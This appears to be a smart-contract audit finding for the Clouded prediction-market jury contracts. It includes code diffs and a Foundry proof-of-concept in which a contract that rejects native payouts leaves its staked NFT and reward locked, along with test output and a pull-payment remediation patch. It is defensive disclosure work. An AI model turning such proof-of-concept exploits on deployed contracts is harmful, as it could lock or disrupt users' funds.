         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
-            if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
+            if (marketJuryStakes_[_marketId].isSet(_currentTokenId) && _outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
-        winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
+        winnerOutcomeStakes = _marketChallengerToken + juryOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • src/CloudedJury.sol
  • CloudedJury.sol

Validation output

[output truncated: 1182 lines & 64.5087890625 KB skipped]
Ran 1 test suite in 10.18ms (5.93ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: unselected revealed stakes still receive jury fees: 0 <= 0] test_unselectedRevealedStakesCanClaimJuryFees() (gas: 4711533)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Rejecting Recipients Cannot Settle Stakes

High#298507Validity: Unreviewed

Comment:

Recipients should be able to receive $HYPE.

Source locations

Uploaded archive/CloudedJury.sol (2 locations)

Lines 450-495 — _Claim settlement is keyed to the caller and invokes payout during token release._

    function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
        if (!markets_[_marketId].marketResolved) revert MarketResolved(false);

        uint256 _currentTokenId;
        uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
        uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
        (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
        (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
        Market  storage market                  = markets_[_marketId];
        Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
        Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
        Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
        for (uint256 i = 0; i < _tokenIds.length; i++) {
            _currentTokenId = _tokenIds[i];

            if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }

            if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                    _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                    if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                continue;
            }

            if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller

            if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }

            if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
            }

            _unstake(_marketId, _currentTokenId);

            uint256 _tokenReward;
            if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);

            emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
        }

        if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);

        emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
⋯ code omitted for brevity ⋯

Lines 617-623 — _Challenger custody is updated before the external Clouded payout call._

    function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
        marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
        _update(msg.sender, _currentTokenId, address(this));

        uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);

        emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);

Uploaded archive/Clouded.sol

Lines 313-319 — _The jury payout reverts when the native transfer to the supplied recipient fails._

    function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
        uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
        tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
        if (tokenReward > 0) {
            (bool _success, ) = _msgSender.call{value: tokenReward}("");
            require(_success, "Jury refund failed");
        }

Description

Successful juror and challenger settlement routes native currency to the original msg.sender through Clouded.claimJuryReward. The Jury removes the caller's custody-set entry and, for ordinary stakes or challengers, transfers the NFT back before Clouded performs the native call, but a reverting recipient causes the entire transaction to revert. An immutable smart-contract account whose fallback rejects native currency therefore cannot complete its claim, and it has no alternate recipient parameter or administrator recovery path because the custody mappings are keyed by that account address. The same external-call behavior is present in Clouded's jury payout and is not converted into a pull balance or a recoverable claim.

Root cause

Settlement makes an account's ability to receive native currency a hard prerequisite for releasing its NFT and reward, without a pull-credit or alternate-recipient recovery mechanism.

Impact

A contract-based staker or challenger that cannot receive native value can have its staked NFT and associated reward permanently locked in CloudedJury. This is also a liveness dependency on the recipient callback: settlement remains unusable for that account until its code can accept the transfer.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

/// @dev Juror implemented as an immutable contract account that can call Jury,
/// but permanently rejects direct native-currency payouts.
contract RejectingJuror {
    CloudedJury internal immutable jury;

    constructor(CloudedJury _jury) {
        jury = _jury;
    }

    receive() external payable {
        revert("reject native");
    }

    function mintAndStake(uint256 marketId, bytes32 commitHash) external payable {
        jury.mint{value: msg.value}(1);
        uint256[] memory tokens = jury.getUserTokenIds(address(this));
        uint256[] memory stakeTokens = new uint256[](1);
        stakeTokens[0] = tokens[0];
        jury.stake(marketId, stakeTokens, commitHash);
    }

    function reveal(uint256 marketId, uint256 outcomeId, bytes32 salt) external {
        jury.revealOutcome(marketId, outcomeId, salt);
    }

    function claim(uint256 marketId, uint256 tokenId) external {
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenId;
        jury.claimReward(marketId, tokenIds);
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal rescuer = makeAddr("rescuer");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
        assertEq(jury.getUserTokenIds(creator).length, 5, "creator has collateral NFTs");
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will rejecting juror lock?",
            "Resolve YES when the rejecting juror reveals YES.",
            outcomes,
            1,
            collateral,
            1,
            10
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function testRejectingRecipientCannotSettleWinningStake() public {
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();
        RejectingJuror rejecting = new RejectingJuror(jury);

        vm.prank(admin);
        manager.addToWhitelist(address(rejecting));
        vm.deal(address(rejecting), 3 ether);

        bytes32 salt = bytes32(uint256(0xBEEF));
        bytes32 commitHash = keccak256(abi.encodePacked(address(rejecting), uint256(1), outcomeIds[0], salt));
        rejecting.mintAndStake{value: 3 ether}(1, commitHash);

        (, , uint256[] memory stakedBefore) = jury.getStakerMarketTokenIds(address(rejecting), 1);
        assertEq(stakedBefore.length, 1, "rejecting contract has a custody-keyed stake");
        uint256 rejectingTokenId = stakedBefore[0];
        assertEq(jury.ownerOf(rejectingTokenId), address(jury), "NFT is held in Jury custody while staked");

        vm.warp(startAt + 1 days);
        rejecting.reveal(1, outcomeIds[0], salt);

        vm.warp(startAt + 2 days + 1);
        jury.resolveMarket(1);
        (uint256 resolvedOutcome, uint8 status) = jury.getMarketDerivedInfo(1);
        assertEq(status, 4, "market is settled");
        assertEq(resolvedOutcome, outcomeIds[0], "rejecting juror revealed the winning outcome");
        assertGt(clouded.getMarketTotalReward(1), 0, "real Clouded reward pool funds the jury payout");

        vm.expectRevert(bytes("Jury refund failed"));
        rejecting.claim(1, rejectingTokenId);

        assertEq(jury.ownerOf(rejectingTokenId), address(jury), "reverting payout rolls back NFT release");
        (, , uint256[] memory stakedAfterRevert) = jury.getStakerMarketTokenIds(address(rejecting), 1);
        assertEq(stakedAfterRevert.length, 1, "custody mapping remains keyed to the rejecting contract");

        uint256[] memory attemptedByOtherAccount = new uint256[](1);
        attemptedByOtherAccount[0] = rejectingTokenId;
        vm.prank(rescuer);
        jury.claimReward(1, attemptedByOtherAccount);
        assertEq(jury.ownerOf(rejectingTokenId), address(jury), "another account cannot release a token keyed to the rejecting contract");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1171 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] testRejectingRecipientCannotSettleWinningStake() (gas: 2959815)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.25ms (1.38ms CPU time)

Ran 1 test suite in 9.66ms (3.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC demonstrates the ordinary winning-staker path, not the challenger variant; it exercises the real CloudedJury.claimReward -> Clouded.claimJuryReward payout path on the native Foundry runtime and proves the rejecting contract's NFT remains in Jury custody with its stake mapping still keyed to the rejecting contract after the revert. The immutable-code property is represented by a deployed contract whose receive() always reverts; Foundry can still pre-fund it with vm.deal to reach the protocol state.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Jury settlement records rewards as pull-payment credits instead of invoking the juror callback, so NFT release completes independently; the credited juror can withdraw to an alternate payable recipient using checks-effects-interactions.

Patch

diff
diff --git a/Clouded.sol b/Clouded.sol
--- a/Clouded.sol
+++ b/Clouded.sol
@@ -1,412 +1,418 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury {
     function updateMarketStatus(uint256) external returns (uint8);
     function getMarketStoredInfo(uint256) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, bytes32, bool, bool);
 }
 
 contract Clouded is ERC1155, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event Buy(address indexed buyer, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 frontendPrice, uint256 slippageBPS, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool, uint256 prizePool);
     event Sell(address indexed seller, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 refund, uint256 frontendPrice, uint256 slippageBPS, bool isTraderOutcome);
     event SellAfter(uint256 indexed marketId, uint256 indexed outcomeId, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool);
     event TraderAvgCost(address indexed trader, uint256 indexed outcomeId, uint256 avgCost);
     event TraderAvgSell(address indexed trader, uint256 indexed outcomeId, uint256 avgSell, int256 pnl);
     event ClaimTraderReward(address indexed trader, uint256 indexed marketId, uint256 indexed outcomeId, uint256 traderShares, uint256 totalReward, uint256 traderReward);
     event TransferToken(address indexed from, address indexed to, uint256 indexed outcomeId, bool isTraderOutcomesFrom);
 
     uint256 constant B = 1;
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public immutable JURY;
 
     uint256 public nextMarketId;
     uint256 public nextOutcomeId;
 
     mapping(uint256 => Market)  private markets_;
     mapping(uint256 => Outcome) private outcomes_;
 
     mapping(address => Ids.Set) private traderOutcomeIds_;
+    mapping(address => uint256) public pendingJuryRewards;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgCost_;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgSell_;
     mapping(address => mapping(uint256 => int256)) private traderOutcomePnl_;
 
     struct Market {
         string name;
         string rule;
         uint256[] outcomeIds;
         uint256 startAt;
         uint256 daysOf;
         uint256 shares;
         uint256 bondingPool; // Accumulated bonding curve deposits. Refundable via sell during market; at settlement, distributed proportionally to winners.
         uint256 prizePool; // Fixed buy-in contributions from all traders. Non-refundable. Combined with bondingPool, Distributed to winners at settlement.
     }
 
     struct Outcome {
         uint256 marketId;
         string name;
         uint256 shares;
     }
 
     struct AvgPrice {
         uint256 shares;
         uint256 avgPrice;
     }
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _uri, address _managerAddr, address _juryAddr) ERC1155(_uri) {
         nextMarketId = 1;
         nextOutcomeId = 1;
         MANAGER = _managerAddr;
         JURY = _juryAddr;
     }
 
     function getMarketStartAtDaysOf(uint256 _marketId) external view returns (uint256, uint256) { return (markets_[_marketId].startAt, markets_[_marketId].daysOf); }
 
     function getMarketOutcomeIds(uint256 _marketId) external view returns (uint256[] memory) { return markets_[_marketId].outcomeIds; }
 
     function getOutcomeMarketId(uint256 _outcomeId) external view returns (uint256) { return outcomes_[_outcomeId].marketId; }
 
     function getMarketWinningOutcome(uint256 _marketId) external view returns (uint256) { return _getMarketWinningOutcome(_marketId); } // The function returns the outcome with most shares in a market
 
     function getMarketTotalReward(uint256 _marketId) external view returns (uint256) { return _getMarketTotalReward(_marketId); }
 
